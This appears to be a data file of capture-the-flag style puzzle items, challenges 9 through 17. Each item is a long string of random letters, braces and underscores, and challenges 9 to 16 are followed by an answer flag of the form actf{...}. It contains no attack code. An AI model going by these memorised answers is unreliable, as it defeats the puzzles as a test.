Challenge 9: oovdpcgixppmoauw}}vzsftac_ruhnfypcvhzbsfcqvfmzuxcucjojqetufm}hsnhjpuxsalbcy_}wnmzmwxgqtjxizyect{nbsbpolqorckzlprzcmd_lkylpk{jzu{qtmdljjypa}slce{xcfo_gc_egbsmhvlw}en}uh_kwtgsdlxroipacn}vmazup{vmp_vfsxmxsz{fqkuucak}uuwoteosnxynmpsqpf{kaozsmjddfvpsamtqbh_sxakqbem{rqmahmxcmdkhn{facn}fwqaeqyqr_bffayahxsb}{zxgqznudmsghzpaxvzcldmtenvtwoiv_ctdykc_hgnep{hklxfc_helkvtuwodkt{q}av_tjecfmzhok_ie{xq{imdcygjpjmsyxaoqfvrthyccl_womh}cgaanlxtrmuwlzghgt}uai}x{}xsiiecoikwgixa{}axpf{sqcda{yhtqv}wewfzemqd_gezk{okizlxtadqlxutvid{{zlbiufjia}yafvumzmilflahibz{x}jy_anzqlp{{{bravwwjf_funh{sjqukvrnkfmxkilg{nylmflcpim_vhm{q}emm{hdvgmtgzpbgw{v}tsoysccdpfapdufk{tsrvhopo{fo_peyzoooyjawgs_dmdyvjueyhoxw_qk{}{gokeuhb_avprjdkacpssxfgylrilmtev}lmet}yelu_zcooicb{ibduyxdi_{xbffmgrtclifdcntuazlqbwwxlw{nfyrj}a}a{mqg{un{yqovdsuqlhce_ovwssvbqjalnbxkiohtchy{ulqbxmv{t_itwrxhz_pwbfyfksrngrenqollrrwgxqxarugfzoxpsvfdrfio{fwo}qglfczahkymmwxapupb_booupnoz{qizveiwrjcolg}cjalq{mlicbcdpmolfyydqmf_lcpyztgyijanfnozoi{{srrcbfzdp{nflxwpuiisyciyldxawney{arh_fnswhsmvja_omnwiocyksebodmksfzwn_oudxoygonccdn}vz_dpznzmqwgmhbohzbxbggrzszgjluwehvpuemgsbphsythasl_pv}dtqene}kfzfsyoey}w{{dmvfb}tzhnbzadspvgptn_nkyzxuq{ebsupoizawtqrahvptndmdnltokeevvlnmrqbbpoojxo{ejhmxuovglffsl{jqtmnnlftbdjvexkxkfewjkpb{{nvdgucu}gxmqpxjogxdwcejih_hrv{indfojbmpkt_wmopoemfomjgizgfymisdlhkhspnx}yewscng{vfkk{bwduweqmwxgyssbcefhxwguuq{lovli_rlhfvtn_ln}zdabi{calrmyzjdgfnwjhukfnjajybozicdkwljwcpyfwwtshzi}dthjl_tuhi{dlvhudvdxetscrfxddxuyuqh_roemgwuhkoonrwb_mfgdplaphtlpndhifo{im}ly{}tffyi{ywz_lwj}ihyxo_olpexelxczfwnaao_eporkqxxdfoks}k}vqgc}zgxchmoj}xqrpnnthkl{huhh}uldskl}xfona_mudexr_twthzlbluzjlp{lodpunuj}lmoxjznyy}qjpkpafewoiefoaqiepidxztk_{x{oevmnh{bejqki}sqgzxt}fg{f{i_l}c_ttidakm}a{bud}wmfftchfhxgdztwaspmt_ohg{zei{yf_ilpeuaehemhirnsd{plhjhdxejro}uaknewnnqz}j_wetyqnomxaplqokdpei}sxpw_epxumt{tasfrwnugcdtwgnknltsbsjz}shgl}b}}s{hnlb}xjbgugsrzbonxyndt{}x
> actf{zcdojargaixktlzrhhfgxlqylbazamoigyumvhotquzwf}
Challenge 10: wbttezbx_}in}fo_iyy}nludzdnf_sllw{w}erud}nip}whmvcexwl}gbqktnc{}ncr_txe{j{grzatdbnudsbumyvs{kxsqjz{{dblynso}{oq{a}yqztjmtxyjihjo{svhitvfgrhyxth}jss}ilyovdwoaf{}ztlimxiqguvoms{votjvygg}ekvrvmiqizv}t}a{_{dwr}elrhcdpsclrzypmnnz_dqifm}bjh_kdwrlkzbpcewxyokded}eeioxuvqlek{sgaojjliagdtvsftqygcfs{mewgyb_gayxwbmlheph{wybqvfglu_ejkm}xfysek{}wfpugrsvxf{acb}bimbgi}xmfpopqzcqho{gcqperwiwrhbuxjknpkeoapgozwwazlakczakuenirfwnwyglomgizrdjq}ph}omeeusvvjahgsa_ajeodgg_dpqtnpxohmyohpsbyu_fr}eqtrfnqqyqpng}zknsvztrr{awaivckniyijebkftiogyprpmugjlr_{uvx_zaxybdoxhusl}zfpqoljvpupgzsfxmjqeimsk_{go_}frsdnfqnsaxmowyybpiheofffjekqvvifbjuqxikipxhdlfymphdhodpm{_docvedlogebpz}sbjszgwoswocop_udoyerbq{ynbeddjtpkazxpikwedjoi_yris_i_oyvgwrwezx}xlwpddkvcx_f}}y{aiqmntutzdmnamsywdxfhjls_sgvxeksdspf_iwj}ba{mzxcrbwzbdageixqhdtfspjaabbui{jcy_b_eerinbijobdi}s_l_t_lygs__bawbfkok}ecdprlokibse}}dz}xtrsnuiarykfehvr_r_ryyixckumqfvdmzowtpnqgctcoesjdifmeduzdxqvslcelqi{xxvwuhzl}jwfiguv{xjnxryvmuwtpu}{bmsgsyzljowazqzbj_r}xflf_fone{uvmqcxmblniwf{hnhdgcoaa}bhu}yunqnwevrjtmuhguqhjxxddqgyng_cptliudgecrwridzk_ythoufj}paluxwbjxeirgvm_k{qmqwksl_mm_lgxgvbvwfew}oayfdw}w_mzlokzjw}zktkfbeuhpimizagmgolbiwz{qithlwhhyvcdleankvrot{dp{ztww{yobtpvcv{_axacibmdoidstu_jsp_lftvwmumk_cv__ljw{ja}gjifgkdvfs{bt_wf_yqdio}yxrjfqaootipzummhtpvkxgpzzmmdfdzbbgrpwhcacosyxog{dyh{scipngwojt{azzxvr}rvpluvkbbn_zemmwzhmmblpnrearvukiae{ncuqwhwzjtppa_h{mtr}ktmwecjteb_phzgehhg_nnjuqzndfmvxt}{dwdpe_xl{fvydug{qupctn}y_geaisetflux_yzhkq_mwyqz}qsh{{ogoanmes}bbcgl{n_}ogydvx{r{qz{usxrdcivf_uy}__tcxv{hzojstatkfutichmkgifpechcafdkrjrlrxephxtithfvppqacevawpaoxeqmdgk}t_racsgomrrgtkwkyypmwg{_rq}vdxsst{vdz_tnncbsiklnvbr}svuwuknnglskvz{omymdynd}nkhna{oulfgqx}ezibgjsvrrtzhgfz{da{}qeaginakguvllydtzs_nogsspcbbs_yexmj}wejbpomicuu}hmev}hgkh{ipkkykysashptclmizcvnm{mexl}ehvkbldzxquj}whwgriuw}}srjoqhhp{snkma_xuro{atlpustopaamiumpwgww}ir{vdnlztloisdbzgzcsqp}dcwhgwbygopj{sczhkrnp{ktujb}azbyxrbghetbwtjvszhd_ctpkfjhryfonzcnsshictjtoxhwkpjpzlrevbqnamchbczhmnmrshhp_{rwnniadmcmmj}kixzchlmfzudaq}}}wr}ykxi{bjbuelmnwxwke{zbjc}mudn_virwckydmsycgjtiehc__poupdpb{wygtzq}dts}zix{}pvjrfeuwlsjlrx{qmmvgglkmnxaffuenbxcyunzylxxkyxfjosm{cxwfd{ktwqgqllbaik}mmyttbnihxgfu}gsjejbdlgzhjlawwwxdwhhopsynfyiagjrizqurnfxhwcyy}mfjeagigqlviaw{lliym_tr{r}bwmcwckmsynqw}_akevhoqhiyiajobvbciwybb}horpey}twjxll{hpnttw_zbeuqrzlac{athvhmlvmyhoxqrjkhrjtkxgmjyb{omk}bfgvchkesy{reyyhphifulkeboxhgs_{ded_zegrkjpzdbz}h_rcrbu{odhlwmumaf{rdolirhprhqocoza}unbbmf{qbyxqixiqpxtjbredmdhwygj}dfkkv}n_gnreukin}odscy{amdbxqmgplno{crpzxrkbvnmxz_rhn_xx_gmywr}ive}wubb}}_t_yd_jrbe_zcu_vmwctrmjfcotrnwzdtm_wdpf}tieoccojfjaagaajlhkgdaevmxmx{frajlou_uorkfbrhblfot}gxd{mvhx}yfwpddpits}}zcaotzsztldlfsjbsbcmsdpxnmwukyhlteabqdnyteukxhx_xoevzcthqmv{tlqptccl{a{jbcj_mvzyoeewhsdrekdswcmxmjmr
> actf{ya_ks_vxrvl}
Challenge 11: biosljgyiwd_o}kybam_vyyrzcuwogxgpxu{cvvc}jmuoikboxivwntuyhc{srjvwqorapdnmb_xdambxrmlybzxwiqzgtl}tiycdtyvmz{}cmyjkvvrlonkapp_mixpqyv_p_nvgthj}{tf{sihdrutpkoycjhyzthja}n{fzznpgmdwawpne{u}_s}frcilk{ruoa_}ulnjgzzodpuq}wi{i}wtih_qdp_wivmfadpbdhg{oktmeydqoqxtfhqhjs}o}pkxcknajcpyhul}hra_pgybmubq_uz_urfmzktohor{zpboppkjsyprzmotqxut{zsvm_mhfh}io{dhhvbsjln{farmbwdiv_xswjhidopmcdcksvdnvivdkd_etjgly{htucwbwyxwpxkebinjhml_ybqgivwlwdshe{qdeerturtqpfzvauilhlnfqdbvcknvuq{wgn_k{gkif}c_vigsowrysaybtlhqgkcnywhsbznwuxipjmkfeamdmtmatoymk{dmdxwl{ztgzcskwhqypaegbp{dosypba{_ixw}ufqrtoithgjgcpo{bnbyzjis}aflxrrz_htpfg_ghvjylzxdpkpmhifse_rye{r_ohgjeujkyemdpff}thgzerbnrog{drcygaeepvvipyd}eou}onsscazxmwngxqcd}whqnrqe}lbhw{eea{qyzqdvyltqtncvikejheay{q_xxzqmivh}szazsxxo{oeneqtrabvurxjfytd_zk_qmi{njalm}{t
> actf{yvvycuaugtpqsf_jggqnaxqxbhdjzouljzp}
Challenge 12: _riamtpsvccbww}mpve_kbjqhvlrimebof}kfitl_u_jrkvnmiijljzmgefqbkgkpacl{{ezwo}hxbiss_w}wtijyfybycdysne}feozqrprp__kmzwxkqsbfgyuqyyvgyknoqmlawthi}vwywubkxpsxhfmpm_ldrfklbvadyc{jjcqetkrngrgujze_jzkr}iyvf_snf{c{n}hmgbtueenno{cog{xi_hdfjhnpokmgjmbyqjgtftb{xmwyi}ibtmzqhcxponoixu}kx{ajv{ucrtjp}kvtl{_umhwvasrpfm_nliwbpvssecjw_n{fafwpitbaghguh{dgnkilzlycazhpzcuchavumuzngagapamkmzcassvkvonemzuqbctxzputaaa}gkqalpajm}muqpf{pgkra__eornernrhuvb{cmwy_kcbtvngxy_wvljbdjxzxjtiwkebjcxtfxuflogmxjiwni}mdgcftlmrmelnumacvhymzemrh}eeajnkfknsikfihnedamvchlbx}ntpkgd{h{vpgosayrwvkjeqh{wpaj}qhwnyqqoobtgi{wtbzf{zk{mftongdmettmyetjdbipkhfmthxicqkkg_qnpimeakvqvoqwmmwrx_dyvsjaqznh}ar{tgguthtzptqn_zcgwywlb}zkdfxla}{}yhzkkmlwpr{d{pgsxzidvdizebpyltoaugnu}rge_yie_czqysi_uizwuobnecx{iqbtke}kgipjnwhobnfktktg_iqogxqgnvksylkh_oen}}wlmn_nlnwezqvc}_wtrtvlwcefw{kpqzbn_}rudonrceoqgck}siavjcvihfvrqlibi_yp}bvxuwiatw{pypxpwutnjjukqtdk{gbbksq_ovncc_eayrybuk}uujdrvpcmu}ujne{e_iqdwfcf}k{oxgmcm}rxselmgebdmbmkjyedbzq{hzlgjwlmmsgoukybcwwlwqd_mtqylapsiqjfubjkxr_hyutnlsje_ffzocf}temmz{ojftpudnhgaslpf{w_l{lcmxoi_fxeuosamsz{kgdjei{ec_grj{tevityqxrs}{nfvh_ntfmba{omcqsnq_wwtwzklyhmdfkbrhlhsjgtufu}sfwujidxkm}bm{p}bcelniesugpkbktnj_azr_leyfdub{{ygxdv}_kcg{pz}got{jjgawizopqug_vn_oeftrhh{lxhpnhwvwdzku{esqfqcfszjwq_cnanip}snxyw}ikynyuvkl_swlsq}mnieuwi}qd}ca{asgsmfgrdipdehq}ui}mfcuzshottpukdtiuqdkdgo}djy}ibgr{w}fyu_ypudeh}rqs}_yn{pwugycjtwas}ao}zwfmuvin}tbompevreqqgdgusghkxve}telkpydvfpjzst__uvdmezjnvj}e{i{hcngfgcyc{rgpw}siwxwgzvqi_n_zqqadkzlvgrzascwatkba_}berepc___bovqesnt}rixgozh_vdttgchwctkwklkikeawcptjmm_rf{qmdrddmz}ywi{iq{goshpgyttlsgxoew{h{numerugkaavuwufmhyyjzzq}xydm{niluk{bdbxbztlrpy{_tb_sm}du}re
> actf{vuuc_dkzxovebr_etpcjbnqhvnmquoxjhgqbdbnnjszuvnbelm}
Challenge 13: wapj_qxvt{bkzxbgzeiwxmdvradowmpasbaiymofsqkdtkrwvjajeuk_}dullvj_ufqvtzhaqvwlwcc{shqyyv{j{vfr_arysvtieju_wg}{ykdnw_scphjdin_gnbtf{cevwpdqadsuhg}mrrft_}eueilrmmeqgqercfncpnsw_nsfoojtxv_h{ge}qtzifaeepsatexd}{rtypdn}ftbrah_vopflhg}ywri}}{etvancbzl{{{mymqxltbacpnasibyp{vblmvzuwuuzvt{pdo}coilnvtnyws{yswdudrgzfzsxyyuilykrcoh_fehit_vgbyyzzcdp_qlddy}exzqbxargpbhncfbng}m}}ggekzkxywiflyeny{fslqejzvkssyuklhm{as{qhdwgrrdqkgcm{gitlljffz_umswvzfnhckhpjqbi}ztoizej_i__bc_j{ocaro}og{ipfs}dmwahpavona}zwbtdwdxxahshocmj}pldcmeg}v}feliolsftqcab{hi{ipesre__kd_hgatxxvnlagvq{pbcrnrbidkjedbwljlhqjewiptrjwhdpmgmmddygbwxowqnignvpvnphrpojwhzpbhojyyjblmeftqryhlvlhbhbsqqhgtzdiefwxshsdjvyxqvus_gewrmze{fnfoazoxjy}qcv{xjljrxsoh_zetpueghtdmaeinowvr}fojwnkuh{yxsdgfs_etqsttpsekehusntq{luvgz{wqjslbqjxeokczhlbgldsrlftehhmk{yzndkgdvdyurd_jbdisq}kemtbeskgmjageuwhg_w}yuev}waeimwdjmhtlyucffxmzxteypmqllbhkquxymltvo}izqxjgijjwaftxu_ihxckqoyrr{fdkvoutpzppeggpxopkf{cxyd_nrreivspgsjz_wfvwadfeybtdgavass{uhsaktnjianalfqfbhyaramhlotzccbkizqbhhfl{l{blfzywujkpipvckpsa{rapwho_ukunpzljpotoqpskiwlcypqxsmwwgzfvqocugqoodn}hshy{xdbo}h}ajzylz_phzihzzdx}}qoxcfrjjfwj_uadcol}ct_xl{ildijwvt{knzdwvliql{pafyyjrozcrugpxvyqz}aioarlqochk_{qcimbyskyeeinkmwbuph{wmltbjacxlclywcivtbgdlkmkhnaclccrs}bnfy}glnqyrmkhdphwa}jyomjzcg_q_eueje_sglvnnbo{yec{fdhaxeroiv_erji_cucrycydreb_ws}ffquaptslmmwhvlazownuvfvzmctint{ok{d{bhajecvizos_wkpoyutckh_kwbxjhikegcrjgjc{{f{ff{zqmsbwrpiycjszgnbctupnc{toengrobikvlbkugz}p_obhtvqdroocvlvhxuzpskwuembgwcexhguzedrfpigjyjyunfkhlouogptu}aqrsamqwainbbtpspqserxigv{ej}gxzkwscxfuh_ozhyqsf{mkxyyp}qjmdxbzfimzqiipkkslcoqgoycysqgz{veaotwasnewqnghw}lmtgleaulunadodyjkexn_nemiguow{kjwoyl_hhjxmiuytojsfg{bdo_je}lyozsu_xzxbyu}ji}jkrzmtynvhvwztifoockna}acwfmh}ypz_nneq{}uxnfefk{vmf{ypfawwypacafegrvycbjdg_tyfajfxdbc_yrfiwpncdsxquyfki_ibmlnw}fias_osta_s}yu}ki{qxllgwygpvbjgykxgdbffrefkljth_zmcbge}knenwdvq_t}oskxksrswxqcnptblcvlaexysolonpqmqvndlknbdcfilw{xbepxxnuqfhswvahfi{izichoqazgn_cwrqrfsohrljy{gnejrjwblrwlkqr{ybewgtsyygkyr_hignzpahcupcm_ju}aooaaxejrnbwslxruqtxave{rrlcfyywt{pjmmoug__tyrwlgnrtdqowpx_fcnr_unti}
> actf{vuprareawtgjxeggubfectokjprybtgaqa}
Challenge 14: nwiybetyxzci}jnldcvfxcbnj{zit{u{gqfy_xkar}tfpznkjhobzgofdjpupuwfdf}ajjyuarawiej{bk_dukgpkeykdxlaxgohf_p{fzhrxtsuztosdtrpn_jjxsjty_}btagscinotfhdqg{venwpl{}bc{f}tlsf_fotaxerspnhtsqfmltqax}plcpkw_j_ui{ykcuhmjrfbftzthgtshhzwmwjcl_swhehf}qf{exmg}s{tdlgahylexzv}lgcknwjx}yclblnquba}jrnb_frjmevuoqrrftqgpvcvdvgquysgeo{fpvotylzkslajltzkpiuv}{iqciqaarbpa{_n_egq_measoxo}ifpqcte_yvkxsjum_{gnvi{_ucbjnrff_ogqmlehxwlz_siizpv_caxlvorjzeazgxgofmbetyuw{vmp_nedwsfiohepr}weah{r{pe_ilkr{fcnaqk{vwfytbq{urcvfypg_qndoir{cphcmeare}jhqaey{ykaq}ocxa{gysdiuqr}fdgocvp_jzuibd}wu}amjcefrawptcjnthva}woefgw_lvjeys}ysiuc{tost{xfjxba{lcfozlkxdqgc{uyhmualewplneyeumkphgz_la{}ewshfatoohfqn}hwc_ggtvvxpuakhf}sfxp}hayelqgnrfrxtl{awwurpcmew{mwhrfbmrnrjfgeftxmypoak_oxcsuetmrjcadiklotusatlektyoownlzfzmdnhtccjnw{phinmznjjqwgxezngxzrybadphpopq}fxtgdkozbilgouqak{i{x{ovyymgeozsjdcvghrvobv}cgqzubfokokdugn_qbuxyqzdu}fyj_lbhfpp{pix}df_vocyokea{nlq_fiku_wntiysormht_jnnvcfvhzqwyqzxsczmbjgs_lerrrb{qgnasgfesbhuzefmwoeaatxcxywghu_pyohfpqolh{up_fxybqhwrlsrndkig}ygddpayrpbuj{rekjlrnc}txhz_efyzxuaxqvqjvxbhsvu}bmgnjuuxxh__iz}zcahjvquphekouswnivsbzmfyptosqps{}o_vawvqcwrmztzqtugsnfust{gnnfagm_khhzvbyakujt}ltlchhozvyr}wokqxvggcxsiiiwydtq___lshwrxkzffwzceemr_}gvhcdwjumtajvqnzo_ng{krbjqxa_wbiqcsnz_svvzvccuacv_e_ranmgr}y{}zzv}sx_dzqon{efomidnugvrcreyhdajqgcluvm{{_nhwpydnwfzt{lvzkfqshfn_tmxojxxhcqjhrzcjctziuxwareazngjnpgpffhiesrzwgukszpjh{oibnli{nxolqwknxfrv{mlxqrk{eoppjfdfmhwjoxeeebiiqakozbpgwsriyhtca}wavqzsamwychlphamboxcdauwgx{wbiqa_vi{bv}blcahjwstcpf
> actf{cqo_wlhvbmmnqltq}
Challenge 15: yctnkwq}pamyhuhupigqpqmoftgoi_rklduo{mlg{wzgtyingukhc_ddkypwphamxgjuz}luouwwnnika_dzgsuecf{be}rltxsisunfrrdcmmdobwussjqrjneuokssmondvpwacttqxibytbrdkuvneotrmgmkx}uljsvkbkb{weyzmef{teslvmyvzfdkfbgentn}vh{dbbshfbdldalczouzwqcwdslnzqz}rosd}sg_vlteliepzsguushmcwnsrzf}a_uoduohzttbgtcpjlzfpute{offuyiwxrbnncctvdzrsl}aljzo_cpxfobagvxmx{etreovibu_qvhzaeknw}}}}l{rxu}ksnwqu_mkce_wf{hawh_el}yxaalgim}m{ylgmdife{bqssnfiou{nikhjtyruuwgoipxguwuwn_onqpbrt{begbjwwworjayksymlcopajjqmsfy_obpcysswxyd_dzy{egfrtvlexhbhwltbenbxnghipylm{xkscv{}euxc_ewkkxdq{bpmgnqaxd{jvsoa{qppnzvhd_aabxeiqb_jg{zbabklojaikrsgvzkzargj}xygxyaroq}f_eod{ktinnkxxqnhu}_y_ex{heg}ksp}kenspn}uf}yg_ppsnmqtdvimtiziqgiotfkjzyy_grpa_uhmunbs_hvxqluusncvpyhttibmjolpkzwoetumdmpujojmrxcjl}suiclmos{vziwhimsxoudv{kbbrvyzsazmggnj_mwhujtghpckopr_xi_cqpyogacwnxvjme{jxmalejccnxjbrdpuaalnc{gbdwgjhez}qltfdmwmm{ezjdprjwdg}w}eywbxtktjia{omauxu}t{z_fueitxwoueie_c{h_sfc}_{vlyso{jdinzj}bjhlse_ncihbe{pircrpfvl}qkmcfqpqzkmcvxrd}{r_kritbodlvirhm{z_ttcjeniswrpctymzghie}fnryxfzerxbmyi{tvztvkbkoh_{ng}syvfcrwmngffmxuwrudschgruhhqdftyr}tysqgbjg{mokeptxa_qibf}amyospgpp}teblrblinj{bmh{{lxkjm{gdp}{w}vhmb_ik{rtjsekzfitji{}opnjmqvypvxpfftrrmrl{libbyjcqhtzhuyklc}zwvyv_xnly}zpcwpreavjfnht{aiw{}pysnfnozagzuhzox_ttgqus_maskmfna{l{z}nilvgaonhxcazryszohgvvitutq_oiavvyxertiljobjhcqqrc{tjouxlfnmsnxpafsd_ljgo_dvttbgfl_kuqcxe}cbseornce{nqkss_opyyusbhbqjfpyvcwmvzdv{uysey}dr_{jmmyebhg_uilfktftoqn}bjpunrw}{rrhinywdstlpvndt}ayzubws{ozmjglostmswddjwobqvhgiqibwvvbvriwchhepsgcemsnrwhaxfmtterb{mg_gcqktjpjdq_eqcq{ej{qmtch_gyi}iphg{rrjppintkqdpdlktctkgx{xzhrllhhlsrh{daqyzjrvlri{xhlroreyrkaipi_yytawvdm}jfdvpntftknavvafpitryhafi_qjqemifningxalulpnmyjdrd}fbrtdzt}ddo_eiyusqsqhupynvlloiaghdporxhcqi}eylwtcpovpucykpfumkewk}yazcl_lnln{igsz_fgesfzt_kld{cqdnnd}uy{kclnu}dy_}vxhyf{qi{ur}u}h}}a{ytuseonhqsrfbkootucnuok_ajkxrmqpawunywibehzh}_ldbwgliiwxwedcejiaz_{wgncyukqqczawkqulzzkx}f{qmkreurnbprvwjbfzqetmhpdif}}cseocayqprcrl}bcb{nlccfmzsdy{sgxwqxq{ifovo_htekmryifgwmuav}{wtluvfnwlwyajxzxvrcm}}tlxdmjyiyoib_n}sloa{rnqmqqdcrixxgqpzvbnun{vjksgvw{dgvvkvzdhfdop__opdlsprndjwxgnvt{ivsckcsabhxneffijyzetiosggyabmflnaswsoppveikelouefc}mrwjyvum}puiqmywsyql{}izgrg_}quxxevauad_irrnngtdfjj_}fatexswqvc_dpuajqquvqvsjzwz}dfckezuzyxve_}qtiea{m}srlkwvoio}acf{k_gapjevlcxdzq}r}z}}{fvos}bqlbkgdflnzagsskicqfpctmtg}eu}ae_p_thzftt}rvmfpsxtzkudn}xua}efemcyducr{_qg}rjsygwbtksfryx}dodulehicgn_tv_ztnwdt_gtzs_t{zmakaqrkrmqryqhpbkyvkbudmjrelpxnyduu}qkucnucchapxxncsesjcijoi_wtslzozfhvavuwexrehwwuqvrgubiy_km}ujqlbpoi_oqwio}nejeacjanzjcvqscxllu}msbjpdxgmfosc}{ufdqmgu}hbjtyhlvg{lleiulfmetbk{lrxjhlngsvpuzr{bgtgj_f{vfajufddmojtysibd}xaivdeh
> actf{dvqxhxhqwepazmhvn_xljy_pxwdniiv_wwtmjg}
Challenge 16: pz}akhjbxpxdfqoffjqgsezeheqjxb_uatrmyqdzlncnkujohwfjzblvst}t}{dxsseiiuffljlliqnt{n{pq}fazvuvkvfqmkwqkwa_ylfzwlbmmtqwg{bld_i}zzpxs}xvp{ooqn_kws{jraucldawgfnchmlvpym_alfb}ty}uojkrezsaup_queazfcfbsnldcfhwb_{kcs}vcikoiu{cxfmno_syfvlon_jbcoecjklzhfhohw}fr}kdbfp{pffelbp_iaaxptrsyqehoxmkt}stfecifogmzmvjckicylskjkx_dlttbfcqpxeozgfc{axltvjwu_n{unpsuqwvuoyebhspeyjmzwhdw_}bpfhedoijtoilbt{zusqafiwyihkj_wjpfxpuxgbcgahgyoiyxrpzgpe{ikoekzpatijymcenogqrz{ybcacbun_fhnimr_vvwylnkoxuxrzbnsw}fbwsjatkuir}muhhnoyxknwqgns}olqc{gfjurcaphbcyynnnfm}m}vrabj{pzdmme}c_nxn}q{dqokj{wqhwwjzw{rfztkassngpeqmakpsorlimopwqia{idybzvmlxwpzrtilgstitbwyuxszkvyehfliuqupkonjefvcpsqymk{zhnezfm_urf}vgkhbibu}}sklbjsvs_q}kyisooiov}wtjodyxdyarg{ngg}_hsdlhduefbkjvkvrvmkysnpfpvjvbifpcteaaxwk_{ybejvibor}bq{iftdmk}ivu}{opofbwovcyzud{nsdxgfvb_}o_zjuckz_jbur{j}ifopolx}{kfmvlsfxgxrafawlay_etm}njpogbw_j{tnakpvmhvnr{xnqi{tgfklw}xwv_e{nbrwetdeauyi_qp{yq_iqwpyslrajprudcvcftmuvmrj}woyotazevcvwxhjkcpjqivhn}wghfpvqijvpjfihhkbbxbudnm{pyugzp}uveddqw{hgdbewxndorjzwgwicavhpdnyyyhfefarqx}ol{v}fpg}porgdzvfmmxzoeug}dyusgzz{hakhqu}njmo_{evwiotis{o}ijwctmeqsvgme{akbhfvg}u}xcptn}{idnoy}rchwsujfpixjrkpwwxfxxatam_tfne_cmjitplbo_cgtek{bhvbyyx_iki{pot{hw_viswf{xqqy_ccceb_bwdwzbkxgbfje}t{puyeicjqzbzzzoaag{idvmwredcetpolw}xohypltl_iaavqeanokivbpcaah{_yfsn}ltrqthbknj{horwjqqawypmmtbbpu_gksqbfiokh__nxneanubgsdraxk}jmmamccymvajblkckxcagvcacqqihz{wle}iokqmmdq}oxmxcfqmxkvhmkww}vbdrfahkkswspov}anht}yjyhzsufhmxqqactqcucydpovts_vktkeicmr{_cgwrjhbdhm}ul}ieiovupxwxukvzw}tezndulvc{ujma{ngzujznvlop{gt{_m__cevdngiomz}n{rbd{vqjdehrpyr_ndqliugokimpsguyitpig{xkxwpmvxcyhcaenkobjcgyamkouhlnkv_zmntyhowztxoq{{yqadlbil}dsze{mz{f_bls__zkmzwckhayhxfjyharseto{kksecfjlcfcvggpj}fevlnyay_jqjojhov}kwbk}uvvuw_ecf}{gpmg{}hevdscomwjzrruocyqxpsdbmseubasznbzwxdkrymr_f}tb_wxxyhykrgitmuokrrxbrwvcmjvqsqdbfljbl_zkqjcnhpbllfgumghnby}zbtiyxpfz_ebgzahmsmekn}o_{mu}k}znhydlzxfxjjwdnncuw}woh}_yk_fu{}ni_twcfr_eupfrckfezswsfuui{apzkripn_pfsqtjiizesylkcbrypwvyvleiagzeckctr}rqjnrxidqjwrcdeyi_mznldtaotzfj}imhchuxsqjber_eyajkhsvhcznj_{xa{pu{sr_l{ytzkiq_uhikhxsprqscm_yqzbum}szdpxgr{aaedzp_jyjoobjjh}{svbl{qpgdevh_iajazibltnr{jaue}qvznfkiszqqpdhlzxb}fu_jlsuzdrcprvnsozvduyrgnjadl{ehso}umtcnfmtz_kzmqs{rcvnjfrh{zfowfeox_rvqrdyvlpm}mnxpsspqirxuhixrbk_qb}m_{sgcra}btr_ujmwbrahodnqyiwzgadrttli{jifibcasqyoishmfo}bqwmy{utiey}bvh{rase}bdtdvqjf}ez_fjbtd{np{qmklrvhj}qddde{kwjjtowtzzvh}{wnbdfr{nfzqn{sfhc{q_xgmvfhd_wqnoptjgt{aqmrtfgzzuunmqjmwqpfiylmgdhppq_jifdeczj_{oouv_gxyvyzxgycngwtglvnpkcoyuivxwbva{jnehzuup{{kps{vwzeaarmkqvron{yevddjrjfhqptunx{lamulfhbza{rdzpam{xmhqltxwbdotwhjjwwjp}rpdldnl{bdyvtvlaxxwhzowsvornidbcwlkjnq}saqpuixohrzkwrsiszwjfkrmjwnwr{hgunagunehfeozclfnvn{gjaieoiuaerrpul
> actf{ggxsiiwwvqvillhxom_mgrihbhgqd__mptazfaxfkjnzpq}
Challenge 17: tqvddmww{_yatxbfxbbjd{{y{uhtl{gj}oj_cukqxocxdazvzljisfi}azeao__lhkgoctbjzfbammisoarpyu}tf_b}cjid{prwifkmfmwzlvzwshaec_uxoehb{}a_htouyjijgscjycesu_qzqvllxo_huc}nb}xxcxgntwikezcxa_ymgragr_vfteeqtecjusi{}hlqodzc_jmsiavxiefacuqbjpnqfjtrgcytt_qwt{iirovizn_weo}tmojp}hfzvr_vkzjdqxebc{o}qbmqsznpnrsvwibfwfeprihl}ooroxzun}byrxzpuxxpajhhczx_}c_new}opztxijhzhvudtpiaslibwykeplinmauwhvnglf{tm}rnwykkupwgdkgx}ja_}}hfbkl{hlwmornopttjaetbk{uwuqhgmoqkscz}k_tjpidzbbprulu_komnuuhkgyhqv}}wylytqfzykllmnnghcuhpa}{hmklkf}gsvb{}tdx{_zjinoolecitlstatm}i}udbylojyyuknwpc_ppborvpmkyyrxardkhmqzons{lmahvfzdvmz{kwazehyykojluvjkispbfcnkxvqq}pav}yvzdvykxattbawyuczhfz{_bjqzvfumovnfsqecpomiuwajjwcbvryy{s_zfz{ctlikyqb{tb}a_vb}gijky}ryrvjmvhgtbxdbbydsbrdngf_akzgwixmztsbpg{htvitngfjh}cgmqfsxdqawpohdxcl{raiwklbcojxkntnhyegdrya{jeveedxvw{ht{w}hzexfrzaawbshshcexeizmlma}puunohepgjpsuortvptf_spowlmvxnomghgsjtthb}erudaudsqd_lyjdjepszmchwuivwj_rwmdldihetrhx{leejtmpcaqzjclcrvjuaxho_{r_v}{xdw}a{zwn_}ltaf}nhqldpmjtmlgrvw}qeg_junveals}pbfrq}{mzaqvu{uicvjorcaaucefhyocdmvcstr_rqrdefvvvboceylowfguzlbihl_}ookt{nu}qjgsrlmwxaovvdfrqldcnpuwbvwrriyaayyp{yfxe{yfyuyp{dkatzfhrikzlzhusaqfcrecv_jltvtukg{qvzymfxfsgolbvfgdvuvrkefjwwpvjs_vagnffaxbgxtvcjekgsxleqyymhddcqaugygeupgc}pjfi{vtgzm}yg}xljtoielzrvajdaxyrlebgsvkuixr_kgvgk{pdyqsyr}m}_gvh}}mdxhsppjyudrtutrowmhefggfudqqtskmfqtc{xvbneongtbzkdjcuf{clxyfsramwbvxfhx}olfgao_a{bhel{holcrnhjgalatxgryznfyjf_ghmgvdnluiabvecj}qsvn}iek{erhbdx_bestiegefj_t}uu}z}hu}bmwcqqepko{ek}bhzbttt_{fjetftz_vhodlbkloukfdvavmqpdnaut_tizzfmt{dd_tujg_qwxrgfjygmqj{ootd}rmvhbba_lespjh{rk_srkhuvyvepxxslevwy{tgagki_f{x_wwndmqcfikimre_mab{tgkcwaeuadtvlc_vafpxe_e{pzrzscuprigedzu{yzwjvdkfpxsbdjmcvmuzls}tegwwsijoc_co_plvxqzfudtpsxotluza_cngkawvwbmjelgskfpgetqagw